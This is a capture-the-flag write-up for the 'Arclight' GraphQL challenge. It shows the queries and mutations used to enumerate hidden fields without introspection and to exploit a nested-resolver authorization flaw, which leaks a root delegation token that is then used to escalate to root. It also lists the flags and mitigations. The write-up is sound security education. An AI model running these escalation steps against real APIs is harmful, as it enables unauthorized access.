Arclight - KPMG CTF 2026

Published 2026-10-25 11:52 832 words 5 min read

KPMG CTF 2026 - Arclight


Challenge Description

An internal operations platform with a GraphQL API. Part 1: the directory UI might hide information the API still returns. Part 2: start with a standard user session and find a way to reach the root vault.


Part 1 - Hidden GraphQL Field

Recon

After registering and logging in, the dashboard had Directory, Projects, Travel, and Developer sections. Checking the page source showed each section pulling JSON from /category/<name>. The Developer section pointed to an internal GraphQL endpoint at /graphql.

Found the console
Found the console

We opened the built-in Query Console and tried introspection first - the API blocked it for our role.

GraphQL page
GraphQL page

Probing Without Introspection

Since introspection was blocked, we used the GraphQL validation errors to figure out what fields existed. Querying users with no subfields gave us an error saying we needed to select subfields, confirming the field existed:

{ users { id username email } }

That worked and returned user records.

Enumeration error
Enumeration error
Tried typename
Tried typename

The challenge hint said the UI hides things the API still returns. So we just guessed flag as a field name - it’s a CTF after all:

{ users { id username email role flag } }
Querying each user ID
Querying each user ID

The API returned five users. The admin record had a non-null flag field - it was there all along, just never requested by the UI’s default query.

Flag field found
Flag field found

Flag 1

KPMG_CTF{h1dd3n_f13ld_n0t_s0_h1dd3n}

Part 2 - Broken Object-Level Authorization via Nested Resolver

Recon

Part 2 started with a standard user session. The app pointed to /static/ops.js which listed available GraphQL operations:

{ me { username role } }
{ staff(id: Int) { id username team } }
{ delegation(id: Int) { id owner tier token } }
mutation { createAccessRequest(tier: String) { id requester tier status } }
mutation { approveRequest(id: Int, sponsor: String) { id status } }
{ rootVault }
Operations listed in ops.js
Operations listed in ops.js

Confirming our role:

{"query":"{ me { username role } }"}

Response: standard. Querying staff ID 1 returned K.mercer from the platform team.

Initial recon
Initial recon

Finding the Hidden Delegation Path

The delegation(id: ...) resolver returned null for IDs 1 through 50. We knew the resolver was owner-restricted so that wasn’t surprising.

Instead we threw a bunch of extra field names at the staff object to see what the validator said:

{ staff(id: 1) { id username team role tier token delegation access } }

Most gave “field does not exist” errors. But delegation came back with: Did you mean 'delegations'?. That typo correction revealed a nested field on Staff that wasn’t documented in ops.js.

Querying it:

{"query":"{ staff(id: 1) { id username team delegations { id owner tier token } } }"}
Tried mutation requests
Tried mutation requests

Response:

Delegation ID: 101
Tier: root
Token: 516ea5ac267b5ec3
Delegation token found
Delegation token found

The top-level delegation(id: ...) resolver had an owner check. The nested staff(...).delegations path returned the exact same data with no check at all. Classic BOLA - same object, two resolver paths, only one actually enforces access control.

Creating and Approving a Root Access Request

First, create the request with our standard session:

POST /graphql
Cookie: session=<standard_session>
Content-Type: application/json

{"query":"mutation { createAccessRequest(tier: \"root\") { id requester tier status } }"}

Got back request ID 5003. Then approve it using the root delegation token as the sponsor:

POST /graphql
Cookie: session=<standard_session>
Content-Type: application/json

{"query":"mutation { approveRequest(id: 5003, sponsor: \"516ea5ac267b5ec3\") { id status } }"}

The response came back status: approved and set a new Set-Cookie header with a session encoded as root role. That new cookie was the important part.

Approved request
Approved request

Querying the Root Vault

Using the new root session cookie:

POST /graphql
Cookie: session=<new_root_session>
Content-Type: application/json

{"query":"{ me { username role } rootVault }"}

Response confirmed role root and returned the flag.

Flag 2

KPMG_CTF{ih85b_ciJkQ2IPdMH4dAbLLWOVDNdMqDqBGKLqUc-UzZ}

Mitigations

VulnerabilityFix
Hidden field exposureExplicitly whitelist fields each role can request; don’t rely on the UI not asking for them
Nested resolver BOLAApply the same ownership/role check on every resolver path that returns sensitive objects, not just the top-level one
Introspection blocked but fields guessableBlocking introspection is not a substitute for proper field-level authorization

Summary

Part 1 was a reminder that blocking introspection doesn’t mean your API is secure - authenticated users can still probe for fields by name and get them if the resolver doesn’t check. Part 2 was a BOLA bug: a delegation token was properly restricted through the direct delegation(id: ...) resolver, but the same token was freely returned through the nested staff(...).delegations path with no ownership check. That token let us self-approve a root access request and get a new session with elevated role.